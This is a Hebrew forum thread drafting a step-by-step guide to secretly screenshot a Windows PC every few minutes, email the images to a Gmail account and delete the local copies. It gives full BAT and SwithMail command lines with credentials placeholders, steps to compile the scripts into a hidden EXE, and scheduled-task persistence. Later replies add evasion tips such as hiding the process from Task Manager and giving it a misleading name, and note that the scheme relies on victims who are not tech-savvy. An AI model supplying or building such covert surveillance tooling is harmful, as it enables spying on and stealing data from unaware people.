הכנה למדריך | צילום מסך נסתר ושליחת התמונות למייל ומחיקת התמונות
-
אני רוצה לעשות מדריך מסודר ובכוונה אני כותב את הכל כאן ואחרי ההערות אכתוב מדריך מסודר
דבר ראשון יש להוריד את הקבצים שבתוך ה RAR
צילום מסך ושליחת מייל מהתיקיה.rarההוראות בפנים אבל אעתיק גם לפה
א) להתקין במחשב nircmd.exe לוחצים עליו פעמים ומאשרים שיועתק לתיקית מערכת
ב) לייצור קובץ BAT עם פקודת כמו בקובץ ה "צילום כל כמה חמש דקות.BAT" בתיקיה אפשר לשנות את המיקום בו יישמרו הצילומים.
אפשר להופכו ל EXE נסתר עם BATTOEXE
ג) לעשות מתזמן שיפעיל את הקובץ EXE או BAT כל הדלקה מחדש. זה יגרום לצילום מסך כל 5 דק'
ד) הצילומים מגיעים לתיקיה מסוימת שנבחר - יש לפתוח תוכנת switmail
להגדיר את הגדרות וכן שיצרף קובץ תמונה אחד (לא משנה איזה) בעת השליחה.
ה) יצירת BAT שישלח מייל: יש לשים לב לשתי דברים:
1. שקובץ ה BAT וקובץ SwithMail.exe יהיו באותה התיקיה.
2. אם כל הצילומים ביחד עוברים את ה 25 או פחות מ"ב, גימייל לא ישלח אותם.עכשיו ללחוץ בתוכנה הנ"ל על לחצן generate cli
ולהעתיק את הקוד ל bat חדש (יש דוגמא בקובץ "שליחת מייל ומחיקה")
לשנות את הגדרת "הקובץ המצורף" – במקום שיהיה כתוב לדוגמא 1.pngSwithMail.exe /s /name "xxxx" /u "1@gmail.com" /pass "1234" /server "smtp.gmail.com" /p "587" /SSL /to "1234@gmail.com" /sub "1" /a "C:\Users\Administrator\Desktop\222\1.png"
לכתוב בסוף כוכבית
SwithMail.exe /s /name "xxxx" /u "1@gmail.com" /pass "1234" /server "smtp.gmail.com" /p "587" /SSL /to "1234@gmail.com" /sub "1" /a "C:\Users\Administrator\Desktop\222\*.png"
זה יגרום שלא יישלח קובץ אחד את כל קבצי ה PNG שבתיקיה
ו) ניתן להוסיף בקובץ הזה פקודה של מחיקת התמונות אחרי השליחה למשלdel /s /q /f C:\Users\Administrator\Desktop\222\*.png
אך יש לשים לב שהמחיקה תהיה לפחות 30 שניות אחרי פקודת השליחה אחרת הם יימחקו לפני שיספיק לשלוח. לכן לכתוב
Timeout 30 del /s /q /f C:\Users\Administrator\Desktop\222\*.png
ז) לעשות מתזמן משימה שיפעיל את קובץ שליחת המייל כפי הצורף או שאפשר להוסיף אותו לאתחול ולהוסיף לו
TIMEOUT
של כמה שעות ואז יחזור ל LOOP לשליחה נוספת ומחיקת התמונות – ראה דוגמא בתיקיה בקובץ "שליחת מייל ומחיקה.bat"
-
אשמח להערות ושיפורים..
אולי כדאי שהכל יהיה בקובץ BAT אחת ולא מחולק לשתים -
האם יש דרך לגרום ע"י פקודות שרק כאשר יש פעילות במחשב התוכנה תצלם (IDLE)
-
@שעטנ-ז-ג-ץ כאשר כותבים פקודה נוהגים לכותבה כך
דוגמא לקוד
-
@שעטנ-ז-ג-ץ אמר בהכנה למדריך | צילום מסך נסתר ושליחת התמונות למייל ומחיקת התמונות:
האם יש דרך לגרום ע"י פקודות שרק כאשר יש פעילות במחשב התוכנה תצלם (IDLE)
אפשר לעשות במתזמן משימות שהפעלת קובץ הצילום
יפעל כאשר מזוהה הקשת מקלדת או הזזת עכברולא להגדיר אותו שיעלה באחול ויצלם ללא הפסקה. וב BAT הזה יהיה מוגדר לדוגמא שמצלם 6 פעמים עם הפסקה של 30 שניות בין צילום לצילום.
בהקשה הבאה הוא שוב יפעיל 6 צילומים כנ"ל. ובשביל שזה יקרה, יש להגביל בלשונית settings בהגדרה האחרונה שאם יש המשימה פעילה אז "do not start a new instance".
באופן הנ"ל הוא יפעיל את משימת הפעלת קובץ הצילום רק אם אין הפעלה כזו פעילה.עריכה: אני לא מוצא מאורע או משהו כזה במתזמן שמגדיר הקשת מקלדת או הזזת עכבר א לא רעיון מעשי
אולי ל @chv יש מה להציע -
@yosi44 אמר בהכנה למדריך | צילום מסך נסתר ושליחת התמונות למייל ומחיקת התמונות:
@שעטנ-ז-ג-ץ אמר בהכנה למדריך | צילום מסך נסתר ושליחת התמונות למייל ומחיקת התמונות:
האם יש דרך לגרום ע"י פקודות שרק כאשר יש פעילות במחשב התוכנה תצלם (IDLE)
אפשר לעשות במתזמן משימות שהפעלת קובץ הצילום
יפעל כאשר מזוהה הקשת מקלדת או הזזת עכברולא להגדיר אותו שיעלה באחול ויצלם ללא הפסקה. וב BAT הזה יהיה מוגדר לדוגמא שמצלם 6 פעמים עם הפסקה של 30 שניות בין צילום לצילום.
בהקשה הבאה הוא שוב יפעיל 6 צילומים כנ"ל. ובשביל שזה יקרה, יש להגביל בלשונית settings בהגדרה האחרונה שאם יש המשימה פעילה אז "do not start a new instance".
באופן הנ"ל הוא יפעיל את משימת הפעלת קובץ הצילום רק אם אין הפעלה כזו פעילה.עריכה: אני לא מוצא מאורע או משהו כזה במתזמן שמגדיר הקשת מקלדת או הזזת עכבר א לא רעיון מעשי
אולי ל @chv יש מה להציעאז יש לי רעיון אחר, לעשות מהפקודה של הצילום EXE, להגדיר שיפעל עם הפעלת המחשב וככה יצלם כל X זמן, ובנוסף לעשות EXE אחר שתפקידו לעשות KILLTASK לפקודה שמפעילה צילום. להגדיר שגם הוא יפעל באתחול המחשב ויפעל כל 15 דק' (מאז שהמחשב נדלק). אך יש שם במתזמן אפשרות להגביל שלא יפעל אלא כשהמחשב idle חמש עשרה דק' (כדוגמא). ואז הכל נפלא. המצלם יפעל מיד בהפעלת המחשב. היישום שמכבה אותו יפעל רק אם המחשב לא פעיל לרבע שעה.
אבל יש בעיה כי אחרי שזה קורה פעם אחת, והוא כיבה את המצלם, מי יעיר את המצלם שוב להמשיך לצלם כשכן משתמשים במחשב. אז לשם כך נעשה שביישום שמכבה את המצלם, בסופו יהיה פקודה להפעיל את המצלם (start capture.exe) אחרי 10 דק' (timeout). וככה הוא ימשיך לצלם אחרי שנכבה כעבור 10 דק'. ואז אם שוב המחשב לא יהיה בפעולה 15 דק', המתזמן יפעיל שוב את יישום המכבה וככה חוזר על עצמו בלי סוף. אפשר לשחק עם הזמנים ע"מ להגיע למצב שלא לפספס זמני שימוש ומצד שני שלא יצלם לריק -
@שעטנ-ז-ג-ץ אתה צריך להחריג אותו ממנהל המשימות ובהגדרות רשת - הצג שימוש לפי אפליקציה אחרת למי שקצת מבין זה יהיה בדיחה לעלות על זה
-
@קינג-קומפיוטר אמר בהכנה למדריך | צילום מסך נסתר ושליחת התמונות למייל ומחיקת התמונות:
@שעטנ-ז-ג-ץ אתה צריך להחריג אותו ממנהל המשימות ובהגדרות רשת - הצג שימוש לפי אפליקציה אחרת למי שקצת מבין זה יהיה בדיחה לעלות על זה
הוא יכול לקרוא ליישום בשם מטעה כמו WIndowsManger וכדו' . זה כמובן טוב למי שלא מבין כ"כ. וכן כל אחד יכול לבטל את המשימות במתזמן. כל הסיפור הנ"ל בנוי על זה שמדובר על אנשים לא בקיאים בעניני מחשבים..
-